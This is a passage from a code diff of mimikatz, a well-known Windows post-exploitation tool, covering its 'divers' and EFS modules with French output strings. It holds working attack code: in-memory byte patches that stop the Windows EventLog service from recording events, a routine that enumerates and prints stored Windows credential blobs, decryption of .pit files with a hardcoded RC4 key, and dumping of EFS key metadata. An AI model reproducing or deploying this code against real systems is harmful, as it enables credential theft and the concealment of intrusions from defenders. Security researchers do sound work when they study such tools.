BYTE patternTestRouteMon[] = {0x83, 0xec, 0x14, 0x53, 0x8b, 0xd9}; // 7.1 // 83 ec 14 53 8b d9
BYTE patternNoTestRouteMon[] = {0xb0, 0x01, 0xc2, 0x04, 0x00};
mod_patch::patchModuleOfService(L"dsNcService", L"", patternTestRouteMon, sizeof(patternTestRouteMon), patternNoTestRouteMon, sizeof(patternNoTestRouteMon));
return true;
}
bool mod_mimikatz_divers::eventdrop(vector<wstring> * arguments)
{
wchar_t LIBNAME_WNT5_EVTLOG[] = L"eventlog.dll";
wchar_t LIBNAME_WNT6_EVTLOG[] = L"wevtsvc.dll";
#ifdef _M_X64
BYTE PTRN_WNT5_PerformWriteRequest[] = {0x49, 0x89, 0x5b, 0x10, 0x49, 0x89, 0x73, 0x18};
LONG OFFS_WNT5_PerformWriteRequest = -10;
BYTE PATC_WNT5_PerformWriteRequest[] = {0x45, 0x33, 0xed, 0xc3};
BYTE PTRN_WN60_Channel__ActualProcessEvent[] = {0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xf9, 0x48, 0x8b, 0xca, 0x48, 0x8b, 0xda, 0xe8};
LONG OFFS_WN60_Channel__ActualProcessEvent = 0;
BYTE PATC_WN62_Channel__ActualProcessEvent[] = {0xff, 0xf7, 0x48, 0x83, 0xec, 0x50, 0x48, 0xc7, 0x44, 0x24, 0x20, 0xfe, 0xff, 0xff, 0xff, 0x48, 0x89, 0x5c, 0x24, 0x60, 0x48, 0x8b, 0xda, 0x48, 0x8b, 0xf9, 0x48, 0x8b, 0xca, 0xe8};
LONG OFFS_WN62_Channel__ActualProcessEvent = 0;
BYTE PATC_WNT6_Channel__ActualProcessEvent[] = {0xc3};
#elif defined _M_IX86
BYTE PTRN_WNT5_PerformWriteRequest[] = {0x89, 0x45, 0xe4, 0x8b, 0x7d, 0x08, 0x89, 0x7d};
LONG OFFS_WNT5_PerformWriteRequest = -20;
BYTE PATC_WNT5_PerformWriteRequest[] = {0x33, 0xc0, 0xc2, 0x04, 0x00};
BYTE PTRN_WN60_Channel__ActualProcessEvent[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x56, 0x8b, 0xf1, 0x8b, 0x4d, 0x08, 0xe8};
LONG OFFS_WN60_Channel__ActualProcessEvent = 0;
BYTE PATC_WN61_Channel__ActualProcessEvent[] = {0x8b, 0xf1, 0x8b, 0x4d, 0x08, 0xe8};
LONG OFFS_WN61_Channel__ActualProcessEvent = -(5 + 5 + 2);
BYTE PATC_WN62_Channel__ActualProcessEvent[] = {0x33, 0xc4, 0x50, 0x8d, 0x44, 0x24, 0x28, 0x64, 0xa3, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x75, 0x0c};
LONG OFFS_WN62_Channel__ActualProcessEvent = -(5 + 1 + 1 + 1 + 3 + 1 + 6 + 5 + 2 + 3 + 2 + 1 + 2);
BYTE PATC_WNO8_Channel__ActualProcessEvent[] = {0xc2, 0x04, 0x00};
BYTE PATC_WIN8_Channel__ActualProcessEvent[] = {0xc2, 0x08, 0x00};
#endif
BYTE * PTRN_Process = NULL; DWORD SIZE_PTRN_Process = 0;
BYTE * PATC_Process = NULL; DWORD SIZE_PATC_Process = 0;
LONG OFFS_PATC_Process = 0;
wstring libEvent;
if(mod_system::GLOB_Version.dwMajorVersion < 6)
{
libEvent.assign(LIBNAME_WNT5_EVTLOG);
PTRN_Process = PTRN_WNT5_PerformWriteRequest; SIZE_PTRN_Process = sizeof(PTRN_WNT5_PerformWriteRequest);
PATC_Process = PATC_WNT5_PerformWriteRequest; SIZE_PATC_Process = sizeof(PATC_WNT5_PerformWriteRequest);
OFFS_PATC_Process = OFFS_WNT5_PerformWriteRequest;
}
else
{
libEvent.assign(LIBNAME_WNT6_EVTLOG);
if(mod_system::GLOB_Version.dwMinorVersion < 1)
{
PTRN_Process = PTRN_WN60_Channel__ActualProcessEvent; SIZE_PTRN_Process = sizeof(PTRN_WN60_Channel__ActualProcessEvent);
OFFS_PATC_Process = OFFS_WN60_Channel__ActualProcessEvent;
#ifdef _M_X64
}
#elif defined _M_IX86
PATC_Process = PATC_WNO8_Channel__ActualProcessEvent; SIZE_PATC_Process = sizeof(PATC_WNO8_Channel__ActualProcessEvent);
}
else if(mod_system::GLOB_Version.dwMinorVersion < 2)
{
PTRN_Process = PATC_WN61_Channel__ActualProcessEvent; SIZE_PTRN_Process = sizeof(PATC_WN61_Channel__ActualProcessEvent);
OFFS_PATC_Process = OFFS_WN61_Channel__ActualProcessEvent;
PATC_Process = PATC_WNO8_Channel__ActualProcessEvent; SIZE_PATC_Process = sizeof(PATC_WNO8_Channel__ActualProcessEvent);
}
#endif
else
{
PTRN_Process = PATC_WN62_Channel__ActualProcessEvent; SIZE_PTRN_Process = sizeof(PATC_WN62_Channel__ActualProcessEvent);
OFFS_PATC_Process = OFFS_WN62_Channel__ActualProcessEvent;
#ifdef _M_IX86
PATC_Process = PATC_WIN8_Channel__ActualProcessEvent; SIZE_PATC_Process = sizeof(PATC_WIN8_Channel__ActualProcessEvent);
#endif
}
#ifdef _M_X64
PATC_Process = PATC_WNT6_Channel__ActualProcessEvent; SIZE_PATC_Process = sizeof(PATC_WNT6_Channel__ActualProcessEvent);
#endif
}
mod_patch::patchModuleOfService(L"EventLog", libEvent, PTRN_Process, SIZE_PTRN_Process, PATC_Process, SIZE_PATC_Process, OFFS_PATC_Process);
return true;
}
bool mod_mimikatz_divers::secrets(vector<wstring> * arguments)
{
DWORD credNb = 0;
PCREDENTIAL * pCredential = NULL;
DWORD flags = (arguments->empty() ? 0 : CRED_ENUMERATE_ALL_CREDENTIALS);
if(CredEnumerate(NULL, flags, &credNb, &pCredential))
{
wcout << L"Nombre de secrets : " << credNb << endl;
for(DWORD i = 0; i < credNb; i++)
{
wstring type;
bool isCertificate = false;
switch(pCredential[i]->Type)
{
case CRED_TYPE_GENERIC:
type.assign(L"GENERIC");
break;
case CRED_TYPE_DOMAIN_PASSWORD:
type.assign(L"DOMAIN_PASSWORD");
break;
case CRED_TYPE_DOMAIN_CERTIFICATE:
type.assign(L"DOMAIN_CERTIFICATE");
isCertificate = true;
break;
case CRED_TYPE_DOMAIN_VISIBLE_PASSWORD:
type.assign(L"DOMAIN_VISIBLE_PASSWORD");
break;
case CRED_TYPE_GENERIC_CERTIFICATE:
type.assign(L"GENERIC_CERTIFICAT");
isCertificate = true;
break;
case CRED_TYPE_DOMAIN_EXTENDED:
type.assign(L"DOMAIN_EXTENDED");
break;
default:
type.assign(L"?");
}
wcout <<
L"TargetName : " << pCredential[i]->TargetName << L" / " << (pCredential[i]->TargetAlias ? pCredential[i]->TargetAlias : L"<NULL>") << endl <<
L"Type : " << type << L" (" << pCredential[i]->Type << L')' << endl <<
L"Comment : " << (pCredential[i]->Comment ? pCredential[i]->Comment : L"<NULL>") << endl <<
L"UserName : " << pCredential[i]->UserName << endl <<
L"Credential : " << mod_text::stringOrHex(pCredential[i]->CredentialBlob, pCredential[i]->CredentialBlobSize) << endl <<
endl;
}
CredFree(pCredential);
}
else wcout << L"CredEnumerate : " << mod_system::getWinError() << endl;
return true;
}
bool mod_mimikatz_divers::pitme(vector<wstring> * arguments)
{
static const BYTE HARDCODED_KEY[] = {
0x80, 0x5b, 0xe8, 0x18, 0x6f, 0x64, 0x89, 0x3a, 0x34, 0xce, 0x59, 0xdf, 0x4d, 0xb4, 0x5a, 0x0f,
0x69, 0x94, 0x58, 0x70, 0x71, 0x4b, 0x17, 0xcf, 0xc3, 0x40, 0xaa, 0xfc, 0xc5, 0xe0, 0x21, 0xdb,
0x9a, 0x49, 0x68, 0xb8, 0x2f, 0x4a, 0x6c, 0xdc, 0x7a, 0x8b, 0x7f, 0x5c, 0x03, 0x08, 0xfe, 0x39,
0xa3, 0xc6, 0x31, 0xa6, 0x8c, 0xbd, 0x72, 0xa4, 0x8a, 0x1b, 0x92, 0xd5, 0x87, 0xad, 0x78, 0x8f,
0x55, 0x96, 0x0b, 0x30, 0xa8, 0x43, 0x53, 0xb0, 0x62, 0xa0, 0xda, 0x7c, 0x13, 0x8d, 0x5d, 0x81,
0xc0, 0x8e, 0x90, 0x88, 0xe4, 0xb7, 0x76, 0xc2, 0xb5, 0x04, 0x93, 0xa5, 0xa9, 0x9e, 0xab, 0xf5,
0x37, 0xac, 0x99, 0x26, 0xe2, 0x38, 0x85, 0xe1, 0x74, 0x77, 0x32, 0xe5, 0x91, 0x23, 0xb1, 0x10,
0x4c, 0x47, 0x3f, 0xbe, 0x82, 0x22, 0x6a, 0x51, 0xd0, 0x63, 0x75, 0x11, 0x33, 0x9b, 0xfb, 0x3b,
0xca, 0xed, 0xdd, 0x44, 0xe6, 0x12, 0x4e, 0x97, 0x3c, 0x79, 0x4f, 0x41, 0x66, 0xba, 0x50, 0x0e,
0xc9, 0x6b, 0x05, 0xee, 0x6e, 0xe7, 0x95, 0x7b, 0x60, 0x9d, 0xff, 0xc4, 0x29, 0x86, 0xb9, 0x7d,
0x98, 0xc8, 0x9c, 0x35, 0xbb, 0xbc, 0xef, 0xfa, 0x3d, 0x06, 0xf9, 0x36, 0xbf, 0x3e, 0x7e, 0xa2,
0xc7, 0x56, 0xae, 0xcb, 0xaf, 0xe9, 0x42, 0x61, 0xf0, 0x1d, 0xfd, 0x65, 0x9f, 0x52, 0x27, 0xea,
0x24, 0xa1, 0xa7, 0xb2, 0x6d, 0x14, 0xb3, 0x45, 0xf8, 0xb6, 0xf7, 0x73, 0xc1, 0x83, 0x84, 0xf4,
0xcc, 0xcd, 0xf3, 0xe3, 0x54, 0x15, 0xd1, 0x46, 0x07, 0x57, 0x2c, 0xd2, 0xd3, 0xd6, 0xd4, 0xd7,
0xf6, 0xeb, 0xd8, 0x1c, 0x00, 0x09, 0xec, 0x67, 0x0a, 0xd9, 0x16, 0xde, 0xf1, 0xf2, 0x01, 0x2d,
0x5e, 0x48, 0x02, 0x0c, 0x5f, 0x0d, 0x19, 0x1a, 0x28, 0x1e, 0x1f, 0x20, 0x25, 0x2a, 0x2b, 0x2e
};
static const DWORD SUBKEY_SIZE = 16;
static const BYTE HEADER_PIT[] = {'P', 'I', 'T'};
FILE * monFichierSource, * monFichierDestination;
BYTE * monBuffer, * monBufferData;
ULONG tailleFichierSource, tailleData;
if(arguments->size() < 1)
{
wcout << L"divers:::pitme file.pit [file.rdp]" << endl;
}
else
{
wcout << L" * Ouverture en lecture du fichier \'" << arguments->front() << L"\' : ";
if(monFichierSource = _wfopen(arguments->front().c_str(), L"rb"))
{
fseek(monFichierSource, 0, SEEK_END);
tailleFichierSource = ftell(monFichierSource);
monBuffer = new BYTE[tailleFichierSource];
fseek(monFichierSource, 0, SEEK_SET);
fread(monBuffer, tailleFichierSource, 1, monFichierSource);
fclose(monFichierSource);
wcout << L"OK" << endl << L" * Déchiffrement n°1 : ";
if(mod_crypto::genericDecrypt(monBuffer, tailleFichierSource, HARDCODED_KEY, sizeof(HARDCODED_KEY), CALG_RC4))
{
wcout << L"OK" << endl << L" * Déchiffrement n°2 : ";
if(mod_crypto::genericDecrypt(monBuffer, tailleFichierSource - SUBKEY_SIZE, monBuffer + tailleFichierSource - SUBKEY_SIZE, SUBKEY_SIZE, CALG_RC4))
{
wcout << L"OK" << endl << L" * En-tête : ";
if(memcmp(monBuffer, HEADER_PIT, sizeof(HEADER_PIT)) == 0)
{
wcout << L"OK" << endl;
monBufferData = monBuffer + sizeof(HEADER_PIT);
tailleData = tailleFichierSource - sizeof(HEADER_PIT) - SUBKEY_SIZE;
if(arguments->size() > 1)
{
wcout << L" * Ouverture en écriture du fichier \'" << arguments->back() << L"\' : ";
if(monFichierDestination = _wfopen(arguments->back().c_str(), L"wb"))
{
wcout << L"OK" << endl;
fwrite(monBufferData, tailleData, 1, monFichierDestination);
fclose(monFichierDestination);
}
else wcout << L"KO" << endl;
}
else wcout << L" * Données : " << endl << endl << wstring(reinterpret_cast<char *>(monBufferData), reinterpret_cast<char *>(monBufferData + tailleData)) << endl;
}
else wcout << L"KO - différent de \'PIT\' ; " << mod_text::stringOfHex(HEADER_PIT, sizeof(HEADER_PIT)) << L" != " << mod_text::stringOfHex(monBuffer, sizeof(HEADER_PIT)) << endl;
}
else wcout << L"KO";
}
else wcout << L"KO";
delete [] monBuffer;
}
else wcout << L"KO" << endl;
}
return true;
}

View File

@ -0,0 +1,29 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#pragma once
#include "globdefs.h"
#include "mod_process.h"
#include "mod_patch.h"
#include "mod_secacl.h"
#include "mod_text.h"
#include "mod_crypto.h"
#include <iostream>
#include <wincred.h>
class mod_mimikatz_divers
{
public:
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
static bool cancelator(vector<wstring> * arguments);
static bool noroutemon(vector<wstring> * arguments);
static bool eventdrop(vector<wstring> * arguments);
static bool secrets(vector<wstring> * arguments);
static bool nodetour(vector<wstring> * arguments);
static bool pitme(vector<wstring> * arguments);
};

View File

@ -0,0 +1,299 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#include "mod_mimikatz_efs.h"
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_efs::getMimiKatzCommands()
{
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(infos, L"infos", L"Affiche des informations basiques sur un fichier chiffré"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(full, L"full", L"Affiche des informations très détaillées sur un fichier chiffré"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(toraw, L"toraw", L"Dump les données EFS d'un fichier chiffré vers un fichier brut"));
// monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(fromraw, L"fromraw"));
return monVector;
}
bool mod_mimikatz_efs::infos(vector<wstring> * arguments)
{
if(!arguments->empty())
{
PENCRYPTION_CERTIFICATE_HASH_LIST pHashes = NULL;
if(QueryUsersOnEncryptedFile(arguments->front().c_str(), &pHashes) == ERROR_SUCCESS)
{
wcout << L"Utilisateur(s) déclaré(s) : " << pHashes->nCert_Hash << endl;
printInfos(pHashes);
FreeEncryptionCertificateHashList(pHashes);
}
else wcout << L"Erreur QueryUsersOnEncryptedFile : " << mod_system::getWinError() << endl;
if(QueryRecoveryAgentsOnEncryptedFile(arguments->front().c_str(), &pHashes) == ERROR_SUCCESS)
{
wcout << L"Agent(s) de recouvrement : " << pHashes->nCert_Hash << endl;
printInfos(pHashes);
FreeEncryptionCertificateHashList(pHashes);
}
else wcout << L"Erreur QueryRecoveryAgentsOnEncryptedFile : " << mod_system::getWinError() << endl;
}
return true;
}
bool mod_mimikatz_efs::full(vector<wstring> * arguments)
{
if(!arguments->empty())
{
PVOID pvContext = NULL;
if(OpenEncryptedFileRaw(arguments->front().c_str(), 0, &pvContext) == ERROR_SUCCESS)
{
SIMPLE_BYTE_ARRAY sba = {0, reinterpret_cast<BYTE *>(malloc(0))};
if(ReadEncryptedFileRaw(ExportToArrayCallback, &sba, pvContext) == ERROR_SUCCESS)
{
PEFS_FEK Fek = NULL;
PEFS_STREAM_DATA_SEGMENT monDataSegment = NULL;
for(
PEFS_MARSHALED_STREAM monMarshaledStream = reinterpret_cast<PEFS_MARSHALED_STREAM>(sba.tableau + sizeof(EFS_RAW));
reinterpret_cast<PBYTE>(monMarshaledStream) < (sba.tableau + sba.nbElements);
monMarshaledStream = reinterpret_cast<PEFS_MARSHALED_STREAM>(monDataSegment)
)
{
bool isEFSMetaData = (monMarshaledStream->NameLenght == 2) && (monMarshaledStream->StreamName[0] == 0x1910);
wcout << endl <<
L"Marshaled Stream :" << endl <<
L" * Taille : " << monMarshaledStream->Length << endl <<
L" * Flag : " << monMarshaledStream->Flag << endl <<
L" * Nom : " << (isEFSMetaData ? wstring(L"(EFS Metadata stream)") : wstring(monMarshaledStream->StreamName, monMarshaledStream->NameLenght / sizeof(wchar_t))) << endl <<
L" * Type : " << (isEFSMetaData ? L"EFS Metadata" : L"DATA") << endl <<
endl;
for(
monDataSegment = reinterpret_cast<PEFS_STREAM_DATA_SEGMENT>(reinterpret_cast<PBYTE>(monMarshaledStream) + monMarshaledStream->Length);
(reinterpret_cast<PBYTE>(monDataSegment) < (sba.tableau + sba.nbElements)) && (monDataSegment->GURE0 == 0x00550047) && (monDataSegment->GURE1 == 0x00450052);
monDataSegment = reinterpret_cast<PEFS_STREAM_DATA_SEGMENT>(reinterpret_cast<PBYTE>(monDataSegment) + monDataSegment->Length)
)
{
wcout << L"DataSegment : " << endl;
PBYTE StreamData = reinterpret_cast<PBYTE>(monDataSegment) + sizeof(EFS_STREAM_DATA_SEGMENT);
if(isEFSMetaData)
{
wcout << L" EFS Metadata :" << endl;
PEFS_METADATA_1 mesAttr = reinterpret_cast<PEFS_METADATA_1>(StreamData);
wcout << L" * Version EFS : " << mesAttr->EFS_Version << endl;
if(mesAttr->DDF_Offset)
{
wcout << L" * Utilisateur(s) déclaré(s) :" << endl;
fullInfosFromEFS_KEY_LIST(mesAttr, mesAttr->DDF_Offset, &Fek);
}
if(mesAttr->DRF_Offset)
{
wcout << L" * Agent(s) de recouvrement :" << endl;
fullInfosFromEFS_KEY_LIST(mesAttr, mesAttr->DRF_Offset, &Fek);
}
}
else
{
wcout << L" DATA :" << endl;
if(!monMarshaledStream->Flag)
{
wcout << L" DATA Segment Encryption Header :" << endl;
PEFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER monSegEncHead = reinterpret_cast<PEFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER>(StreamData);
wcout <<
L" * Length : " << monSegEncHead->Length << endl <<
L" * StartingFile_Offset : " << monSegEncHead->StartingFile_Offset << endl <<
L" * BytesWithinStreamSize : " << monSegEncHead->BytesWithinStreamSize << endl <<
L" * BytesWithinVDL : " << monSegEncHead->BytesWithinVDL << endl <<
L" * DataUnitShift : " << monSegEncHead->DataUnitShift << endl <<
L" * ChunkShift : " << monSegEncHead->ChunkShift << endl <<
L" * ClusterShift : " << monSegEncHead->ClusterShift << endl <<
L" * NumberOfDataBlocks : " << monSegEncHead->NumberOfDataBlocks << endl <<
endl;
PEFS_EXTENDED_HEADER monExtHeader = reinterpret_cast<PEFS_EXTENDED_HEADER>(reinterpret_cast<PBYTE>(monSegEncHead) + FIELD_OFFSET(EFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER, DataBlockSizes) + (sizeof(DWORD) * monSegEncHead->NumberOfDataBlocks));
if(monExtHeader->EXTD_Number == 'DTXE')
{
wcout << L" * Extended Header Flag : " << monExtHeader->Flags << endl;
}
for(DWORD block = 0; block < monSegEncHead->NumberOfDataBlocks; block++)
{
wcout << L" -> Block " << block+1 << L" ; taille : " << monSegEncHead->DataBlockSizes[block] << endl;
PBYTE mesDatas = reinterpret_cast<PBYTE>(StreamData) + monSegEncHead->Length;
wcout << mod_text::stringOfHex(mesDatas, monSegEncHead->DataBlockSizes[block], 16) << endl;
if(Fek);
}
}
else
{
wcout << L"TODO Data" << endl;
}
}
}
}
}
else wcout << L"Erreur ReadEncryptedFileRaw : " << mod_system::getWinError() << endl;
free(sba.tableau);
CloseEncryptedFileRaw(pvContext);
}
else wcout << L"Erreur OpenEncryptedFileRaw : " << mod_system::getWinError() << endl;
}
return true;
}
bool mod_mimikatz_efs::toraw(vector<wstring> * arguments)
{
if(arguments->size() == 2)
{
PVOID pvContext = NULL;
wcout << L"Ouverture de : " << arguments->front() << endl;
if(OpenEncryptedFileRaw(arguments->front().c_str(), 0, &pvContext) == ERROR_SUCCESS)
{
wcout << L"Vers : " << arguments->back() << endl;
HANDLE hFile = CreateFile(arguments->back().c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
if(ReadEncryptedFileRaw(ExportToFileCallback, &hFile, pvContext) == ERROR_SUCCESS)
{
wcout << L" * Export OK" << endl;
}
else wcout << L"* Erreur ReadEncryptedFileRaw : " << mod_system::getWinError() << endl;
CloseHandle(hFile);
CloseEncryptedFileRaw(pvContext);
}
else wcout << L"Erreur OpenEncryptedFileRaw : " << mod_system::getWinError() << endl;
}
return true;
}
void mod_mimikatz_efs::printInfos(PENCRYPTION_CERTIFICATE_HASH_LIST hashList)
{
for(DWORD i = 0; i < hashList->nCert_Hash; i++)
{
wstring user;
mod_secacl::simpleSidToString(hashList->pUsers[i]->pUserSid, &user);
wcout <<
L" * Nom : " << user << endl <<
L" * Nom simple : " << hashList->pUsers[i]->lpDisplayInformation << endl <<
L" * Hash du certificat : " << mod_text::stringOfHex(hashList->pUsers[i]->pHash->pbData, hashList->pUsers[i]->pHash->cbData) << endl <<
endl;
}
}
DWORD WINAPI mod_mimikatz_efs::ExportToArrayCallback(PBYTE pbData, PVOID pvCallbackContext, DWORD ulLength)
{
if(ulLength)
{
PSIMPLE_BYTE_ARRAY sba = reinterpret_cast<PSIMPLE_BYTE_ARRAY>(pvCallbackContext);
sba->tableau = reinterpret_cast<PBYTE>(realloc(sba->tableau, sba->nbElements + ulLength));
if(sba->tableau)
{
RtlCopyMemory(sba->tableau + sba->nbElements, pbData, ulLength);
sba->nbElements += ulLength;
}
else
return ERROR_NOT_ENOUGH_MEMORY;
}
return ERROR_SUCCESS;
}
DWORD WINAPI mod_mimikatz_efs::ExportToFileCallback(PBYTE pbData, PVOID pvCallbackContext, ULONG ulLength)
{
if(ulLength)
{
wcout << L" - Lecture d\'un bloc de : " << ulLength << endl;
DWORD dwBytesWritten = 0;
if(WriteFile(*reinterpret_cast<PHANDLE>(pvCallbackContext), pbData, ulLength, &dwBytesWritten, NULL) && (ulLength == dwBytesWritten))
return ERROR_SUCCESS;
return GetLastError();
}
return ERROR_SUCCESS;
}
bool mod_mimikatz_efs::fullInfosFromEFS_KEY_LIST(PEFS_METADATA_1 header, LONG KeyList_offset, PEFS_FEK * pFek)
{
*pFek = NULL;
PEFS_KEY_LIST monHead = reinterpret_cast<PEFS_KEY_LIST>(reinterpret_cast<PBYTE>(header) + KeyList_offset);
PEFS_KEY_LIST_ENTRY monHeader = reinterpret_cast<PEFS_KEY_LIST_ENTRY>(monHead);
DWORD previousSize = sizeof(PEFS_KEY_LIST);
for(DWORD i = 0; i < monHead->Length; i++)
{
wcout << endl << L" Champ de données " << (i + 1) << L" :" << endl;
monHeader = reinterpret_cast<PEFS_KEY_LIST_ENTRY>((PBYTE) monHeader + previousSize);
PEFS_PUBLIC_KEY_INFORMATION monCredHeader = reinterpret_cast<PEFS_PUBLIC_KEY_INFORMATION>(reinterpret_cast<PBYTE>(monHeader) + monHeader->PKI_Offset);
wstring user;
if(monCredHeader->OwnerSID_offset)
mod_secacl::simpleSidToString((reinterpret_cast<PBYTE>(monCredHeader) + monCredHeader->OwnerSID_offset), &user);
else user.assign(L"(null)");
wcout << L" * Utilisateur : " << user << endl;
fullInfosFromEFS_CERTIFICATE_DATA(monCredHeader, monCredHeader->Certificate_offset);
PBYTE Encrypted_FEK = reinterpret_cast<PBYTE>(monHeader) + monHeader->Enc_FEK_Offset;
wcout <<
L" * Flags : " << monHeader->Flags << endl <<
L" * FEK (chiffrée) : " << endl <<
L" -> Taille : " << monHeader->Enc_FEK_Length << endl <<
L" -> Données : " << endl << mod_text::stringOfHex(Encrypted_FEK, monHeader->Enc_FEK_Length, 16) << endl <<
endl;
/*HCRYPTPROV hCryptKeyProv;
if(CryptAcquireContext(&hCryptKeyProv, L"", MS_STRONG_PROV, PROV_RSA_FULL, NULL ))
{
HCRYPTKEY maCle = NULL;
if(CryptGetUserKey(hCryptKeyProv, AT_KEYEXCHANGE, &maCle))
{
DWORD taille = monHeader->Enc_FEK_Length;
if (CryptDecrypt(maCle, 0, TRUE, 0, Encrypted_FEK, &taille) )
{
*pFek = reinterpret_cast<PEFS_FEK>(Encrypted_FEK);
wcout <<
L" * FEK (clair) : " << endl <<
L" -> Taille : " << (*pFek)->Key_Lenght << endl <<
L" -> Algorithme : " << (*pFek)->Algorithm << endl <<
L" -> Entropie : " << (*pFek)->Entropy << endl <<
L" -> Données : " << endl << mod_text::stringOfHex((*pFek)->Key, (*pFek)->Key_Lenght, 16) << endl <<
endl;
}
else
wcout << mod_system::getWinError() << endl;
}
CryptReleaseContext(hCryptKeyProv, 0);
}*/
previousSize = monHeader->Length;
}
return (*pFek != NULL);
}
void mod_mimikatz_efs::fullInfosFromEFS_CERTIFICATE_DATA(PEFS_PUBLIC_KEY_INFORMATION header, LONG Certificate_offset)
{
PEFS_CERTIFICATE_DATA monThCertificate = reinterpret_cast<PEFS_CERTIFICATE_DATA>(reinterpret_cast<PBYTE>(header) + header->Certificate_offset);
wcout << L" -> Nom affiché : ";
if(monThCertificate->DisplayName_Offset)
wcout << reinterpret_cast<wchar_t *>(reinterpret_cast<PBYTE>(monThCertificate) + monThCertificate->DisplayName_Offset);
wcout << endl;
wcout << L" -> Provider : ";
if(monThCertificate->ProviderName_Offset)
wcout << reinterpret_cast<wchar_t *>(reinterpret_cast<PBYTE>(monThCertificate) + monThCertificate->ProviderName_Offset);
wcout << endl;
wcout << L" -> Container : ";
if(monThCertificate->ContainerName_Offset)
wcout << reinterpret_cast<wchar_t *>(reinterpret_cast<PBYTE>(monThCertificate) + monThCertificate->ContainerName_Offset);
wcout << endl;
wcout << L" -> Empreinte : " << mod_text::stringOfHex(reinterpret_cast<PBYTE>(monThCertificate) + monThCertificate->CertificateThumbprint, monThCertificate->CertificateThumbprint_Length) << endl;
}

View File

@ -0,0 +1,133 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#pragma once
#include "globdefs.h"
#include <WinEFS.h>
#include <iostream>
#include "mod_text.h"
#include "mod_system.h"
#include "mod_secacl.h"
#include "mod_crypto.h"
class mod_mimikatz_efs
{
private:
// http://msdn.microsoft.com/library/cc230447.aspx
typedef struct _EFS_RAW {
DWORD Unknown0;
DWORD ROBS0;
DWORD ROBS1;
BYTE Reserved[8];
} EFS_RAW, *PEFS_RAW;
typedef struct _EFS_MARSHALED_STREAM {
DWORD Length;
DWORD NTFS0;
DWORD NTFS1;
DWORD Flag;
BYTE Reserved[8];
DWORD NameLenght;
wchar_t StreamName[1];
} EFS_MARSHALED_STREAM, *PEFS_MARSHALED_STREAM;
typedef struct _EFS_STREAM_DATA_SEGMENT {
DWORD Length;
DWORD GURE0;
DWORD GURE1;
DWORD Reserved;
} EFS_STREAM_DATA_SEGMENT, *PEFS_STREAM_DATA_SEGMENT;
typedef struct _EFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER {
LONG64 StartingFile_Offset;
DWORD Length;
DWORD BytesWithinStreamSize;
DWORD BytesWithinVDL;
USHORT ReservedForAlignement0;
BYTE DataUnitShift;
BYTE ChunkShift;
BYTE ClusterShift;
BYTE ReservedForAlignement1;
USHORT NumberOfDataBlocks;
DWORD DataBlockSizes[1];
} EFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER, *PEFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER;
typedef struct _EFS_EXTENDED_HEADER {
DWORD EXTD_Number;
DWORD Length;
DWORD Flags;
DWORD Reserved;
} EFS_EXTENDED_HEADER, *PEFS_EXTENDED_HEADER;
typedef struct _EFS_METADATA_1 {
DWORD Length;
DWORD Reserved1;
DWORD EFS_Version;
DWORD Reserved2;
BYTE EFS_ID[16];
BYTE EFS_Hash[16];
BYTE Reserved3[16];
LONG DDF_Offset;
LONG DRF_Offset;
BYTE Reserved4[12];
} EFS_METADATA_1, *PEFS_METADATA_1;
typedef struct _EFS_KEY_LIST {
DWORD Length;
} EFS_KEY_LIST, *PEFS_KEY_LIST;
typedef struct _EFS_KEY_LIST_ENTRY {
DWORD Length;
LONG PKI_Offset;
DWORD Enc_FEK_Length;
LONG Enc_FEK_Offset;
DWORD Flags;
} EFS_KEY_LIST_ENTRY, *PEFS_KEY_LIST_ENTRY;
typedef struct _EFS_PUBLIC_KEY_INFORMATION {
DWORD Length;
LONG OwnerSID_offset;
DWORD Type;
DWORD Certificate_Length;
LONG Certificate_offset;
} EFS_PUBLIC_KEY_INFORMATION, *PEFS_PUBLIC_KEY_INFORMATION;
typedef struct _EFS_CERTIFICATE_DATA {
LONG CertificateThumbprint;
DWORD CertificateThumbprint_Length;
LONG ContainerName_Offset;
LONG ProviderName_Offset;;
LONG DisplayName_Offset;
} EFS_CERTIFICATE_DATA, *PEFS_CERTIFICATE_DATA;
typedef struct _EFS_FEK {
DWORD Key_Lenght;
DWORD Entropy;
ALG_ID Algorithm;
DWORD Reserverd;
BYTE Key[1];
} EFSFEK, *PEFS_FEK;
typedef struct _SIMPLE_BYTE_ARRAY{
SIZE_T nbElements;
PBYTE tableau;
} SIMPLE_BYTE_ARRAY, *PSIMPLE_BYTE_ARRAY;
static DWORD WINAPI ExportToArrayCallback(PBYTE pbData, PVOID pvCallbackContext, DWORD ulLength);
static DWORD WINAPI ExportToFileCallback(PBYTE pbData, PVOID pvCallbackContext, DWORD ulLength);
static void printInfos(PENCRYPTION_CERTIFICATE_HASH_LIST hashList);
static bool fullInfosFromEFS_KEY_LIST(PEFS_METADATA_1 header, LONG KeyList_offset, PEFS_FEK * Fek);
